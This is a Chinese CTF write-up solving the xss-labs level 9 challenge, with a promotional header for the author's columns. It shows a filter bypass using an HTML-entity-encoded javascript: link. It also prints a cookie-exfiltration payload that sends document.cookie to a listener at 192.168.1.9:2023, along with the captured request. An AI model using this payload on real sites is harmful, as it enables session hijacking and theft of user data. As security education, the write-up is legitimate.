【网络安全】xss-labs level-9 解题详析

【精选优质专栏推荐】

• 《AI 技术前沿》 —— 紧跟 AI 最新趋势与应用
• 《网络安全新手快速入门(附漏洞挖掘案例)》 —— 零基础安全入门必看
• 《BurpSuite 入门教程(附实战图文)》 —— 渗透测试必备工具详解
• 《网安渗透工具使用教程(全)》 —— 一站式工具手册
• 《CTF 新手入门实战教程》 —— 从题目讲解到实战技巧
• 《前后端项目开发(新手必知必会)》 —— 实战驱动快速上手

每个专栏均配有案例与图文讲解，循序渐进，适合新手与进阶学习者，欢迎订阅。

读者可参考、订阅专栏：Xss-Labs靶场攻防实战

解题步骤

逻辑后端代码：

该题与 level-9 的区别是，加上了对地址的判断

故我们可对初始POC使用html实体编码处理，使关键字不被过滤；再添加http://

我们看看初始POC该如何构造：

也就是说我们填入的内容存在于<a href=内容></a>中

而将 JavaScript 代码放在 href 属性中，当用户点击具有此链接的元素时，浏览器会执行其中的 JavaScript 代码。

所以初始POC可构造为：

javascript:alert("http://")

编码后得到

javascript:alert("http://")

扩大危害

可以进行数据外带操作，原理及姿势参考链接：【网络安全】XSS之Cookie外带攻击姿势

脚本如下：

构造POC如下：

javascript:document.write('<img src="http://192.168.1.9:2023/'+document.cookie+'"/>')

将关键字进行html实体编码后得到：

javascript:document.write('<img src="http://192.168.1.9:2023/'+document.cookie+'"/>')

点击 友情链接 后监听到数据：

Host: 192.168.1.9:2023

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/114.0

Accept: image/avif,image/webp,*/*

Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2

Accept-Encoding: gzip, deflate

Referer: http://localhost/

Connection: keep-alive

burp编码工具模块的利用

Burp Suite 中涉及到编码和解码的模块是 “Encoder”（编码器）。

Burp Suite 的 “Encoder” 模块允许用户对数据进行各种编码和解码操作：

1. URL 编码/解码，对 URL 中的特殊字符进行编码或解码，包括保留字符和非 ASCII 字符。
2. HTML 编码/解码，对 HTML 文档中的特殊字符（如 <, >, ",'）进行编码或解码。
3. Base64 编码/解码，执行 Base64 编码和解码操作，用于在数据传输或存储中表示二进制数据。
4. Unicode 编码/解码，将字符串转换为 Unicode 编码，或将 Unicode 编码还原为原始字符串。
5. GZIP 压缩/解压缩，对数据执行 GZIP 压缩或解压缩操作，用于发送或接收压缩的数据。